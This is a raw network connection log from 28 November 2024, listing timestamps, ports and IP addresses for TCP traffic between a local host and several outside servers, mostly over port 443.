Nov 28, 2024 15:17:30.933656931 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.933676004 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.933773041 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.933777094 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.933820963 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.083870888 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.083899021 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.084011078 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.084028006 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.084073067 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.096167088 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.096189976 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.096255064 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.096262932 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.096307993 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.096321106 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.108964920 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.108983994 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.109080076 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.109086990 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.109127998 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.120601892 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.120620012 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.120688915 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.120696068 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.120744944 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.120795965 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.132778883 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.132797003 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.132865906 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.132874012 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.132916927 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.163014889 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.163060904 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.163120031 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.164040089 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.164055109 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.277599096 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.277622938 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.277724981 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.277746916 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.277791023 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.290241957 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.290257931 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.290337086 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.290344000 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.290384054 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.303087950 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.303103924 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.303174019 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.303180933 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.303222895 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.305277109 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.305324078 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.305327892 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.305350065 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:31.305367947 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.305397034 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:31.366646051 CET	49706	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:31.371278048 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.419101954 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.446964979 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.446988106 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.447560072 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.447577000 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.466783047 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:31.466811895 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:31.466876030 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:31.471630096 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:31.471647024 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:31.571896076 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.637833118 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.660063982 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.660068989 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.660516024 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.660521030 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.703989029 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.785779953 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.785789967 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.786245108 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.786257982 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.815392971 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.815470934 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.815527916 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.877924919 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.877924919 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.877965927 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.877984047 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.957015991 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:31.957053900 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:31.957391024 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.003355026 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.003376961 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.011487007 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.011543989 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.011600971 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.012589931 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.012605906 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.012617111 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.012623072 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.148894072 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.149090052 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.149197102 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.544670105 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.544708014 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.544804096 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.569658041 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.569708109 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.569724083 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.569736004 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.657704115 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.657727003 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.876668930 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.876720905 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.876900911 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.911243916 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.911263943 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.944854975 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.974764109 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.974776983 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:32.975405931 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:32.975413084 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.390714884 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.390782118 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.390857935 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.581082106 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.581123114 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:33.581195116 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.581605911 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.581727982 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:33.582882881 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.582902908 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.582927942 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.602380037 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.602428913 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:33.602549076 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:33.602565050 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:33.605875969 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.605904102 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.605967999 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.633573055 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.633594036 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.785442114 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.870615005 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.870635033 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:33.871145010 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:33.871151924 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.229546070 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.229617119 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.229684114 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.317315102 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.317315102 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.317348957 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.317358971 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.322638988 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:34.322719097 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:34.327174902 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:34.327241898 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:34.345854998 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:34.345900059 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:34.346226931 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:34.346693039 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:34.346776009 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:34.346801996 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:34.348500013 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.348526001 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.348591089 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.350087881 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.350100040 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.373956919 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.375822067 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.375857115 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.376315117 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.376321077 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.711855888 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.714304924 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.714324951 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.715024948 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.715030909 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.775052071 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:34.775362968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:34.811883926 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.811968088 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.812021971 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.827589035 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.827620983 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.827636957 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.827642918 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.845907927 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.845961094 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.846023083 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.853769064 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:34.853806019 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:34.895072937 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:34.895282984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:34.895353079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:34.895618916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:35.015522957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:35.155659914 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.155733109 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.155884027 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.156002045 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.156023026 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.156044960 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.156050920 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.158952951 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.158976078 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.159212112 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.159353971 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.159367085 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.650904894 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.650963068 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.650998116 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.651021957 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.651035070 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.651088953 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.651753902 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.655488014 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.657794952 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.657803059 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.658693075 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.658763885 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.663335085 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.663402081 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.663624048 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.663645983 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.730541945 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.730555058 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.731040955 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.731060028 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.731626987 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:35.731632948 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:35.813747883 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.936429024 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.937963963 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.937988997 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.938992977 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:35.939050913 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.939620018 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:35.939672947 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:36.054830074 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.056098938 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.056130886 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.056143045 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.056149006 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.105961084 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.106026888 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.106369019 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.107893944 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:36.107953072 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:36.112227917 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.112232924 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.115648031 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.115664005 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.123648882 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:36.123723984 CET	443	49812	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:36.123836040 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:36.124111891 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:36.124140024 CET	443	49812	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:36.165740967 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:36.165822983 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:36.165983915 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:36.167395115 CET	49797	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:36.167404890 CET	443	49797	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:36.232260942 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:36.297756910 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.308535099 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.308566093 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.497772932 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.525662899 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.525697947 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.631191969 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.636251926 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.650773048 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.650787115 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.651381969 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.651386023 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.707042933 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.707056999 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.795038939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:36.795974016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:36.849621058 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:36.915224075 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:36.941241026 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.066133022 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.066173077 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.066658974 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.066665888 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.081120968 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.081187963 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.081332922 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.081374884 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.081389904 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.081403017 CET	49805	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.081408978 CET	443	49805	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.093559980 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.111541986 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.111572981 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.116503000 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.116511106 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.117110014 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.117115021 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.141119003 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.144175053 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.144207001 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.144603968 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.144609928 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.238734007 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.238786936 CET	443	49817	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.238852978 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.239057064 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.239068985 CET	443	49817	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.240946054 CET	49818	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.240986109 CET	443	49818	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.241059065 CET	49818	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.241250038 CET	49818	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.241261959 CET	443	49818	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.257250071 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.257286072 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:37.257344961 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.257942915 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.257958889 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:37.262157917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:37.382138968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:37.391169071 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.391239882 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.391319990 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.392416954 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.392443895 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.392457962 CET	49807	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.392465115 CET	443	49807	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.394965887 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.395003080 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.435935020 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.440936089 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.440972090 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.596807957 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.599967957 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.599987030 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.602255106 CET	49779	443	192.168.2.6	13.107.246.63
